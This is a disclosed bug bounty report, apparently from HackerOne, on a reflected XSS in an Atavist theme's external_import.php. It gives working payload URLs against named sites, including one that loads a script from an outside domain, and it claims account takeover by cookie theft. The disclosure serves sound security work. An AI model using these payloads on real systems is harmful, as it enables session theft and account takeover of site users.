Reflected XSS on a Atavist theme at external_import.php
- Triaged in 23 hours
- Fixed in 8 days
- Paid in 8 days
- Disclosed after 2 months
Summary:
Hi team,
I found this php file https://magazine.atavist.com/static/external_import.php , and there is a parameter called scripts on this php file.
Basically, the endpoint prints value of scripts parameter to <script src='$Value'>.
So we can import any script file like that : https://magazine.atavist.com/static/external_import.php?scripts=//15.rs
Or we can write HTML tags too, there is no encoding : https://magazine.atavist.com/static/external_import.php?scripts=%27%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
This endpoint is also available on other websites. Like : https://docs.atavist.com/static/external_import.php?scripts=%27%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E http://www.377union.com/static/external_import.php?scripts=%27%3E%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
Also there is no secure flag on the session cookie (periodicSessionatavist). So this XSS leads to account takeover.
Impact
Reflected XSS - account takeover via cookie stealing
Thanks, Bugra
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A high-severity XSS bug in Automattic. HackerOne made it public on 18 November 2020.
About XSS
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.